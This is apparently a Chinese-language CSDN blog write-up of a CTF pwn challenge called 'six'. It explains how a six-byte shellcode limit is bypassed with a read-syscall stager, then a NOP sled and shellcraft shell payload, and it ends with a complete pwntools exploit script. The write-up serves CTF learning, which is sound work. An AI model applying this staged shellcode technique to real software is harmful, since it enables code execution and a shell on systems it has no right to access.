版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/github_36788573/article/details/83180792
首先查看程序保护。
程序的主要逻辑如下。
先看看分配内存函数。两块内存的地址相近。且第一块的权限是rwx。
判断输入shellcode的函数。要求输入不超过6个的偶数字节,且各不相同。
主函数最后会执行分配的第一块内存中的代码,复制到其中的src反汇编的结果为。
结合调用v3前的汇编代码。
可见src中代码的作用就是将esp指向了mmap申请的第二块的内存空间并将其他寄存器置0。随着程序的执行rip会执行我们输入的shellcode,此时这两块的布局大致为
由于src将各寄存器都置0了,我们可以利用0号系统调用read输入进行第二次的shellcode输入,输入位置可以是rsp栈顶,rax=0表示0号调用read,rdi=0表示标准输入,rsi可以设置为rsp,表示输入到栈顶,rdx表示输入字节大小,这个不固定,只要能过judge就行。然后通过read输入shellcode覆盖这两块内存空间,直到覆盖过rip,最后在尾部加上调用shell的shellcode即可。这里我用nop填充。
最后的脚本,成功率不是100%,多试几次。
1 from pwn import *
2
3 io=process("./six")
4 context.binary='./six'
5
6 read=asm('''
7 push rsp
8 pop rsi
9 mov edx,esi
10 syscall
11 ''')
12 nop=asm('''
13 nop
14 '''
15 )
16 shell=asm(shellcraft.sh())
17
18 payload=nop*0xb46+shell
19 io.sendafter("shellcode:\n",read)
20 io.sendline(payload)
21 io.interactive()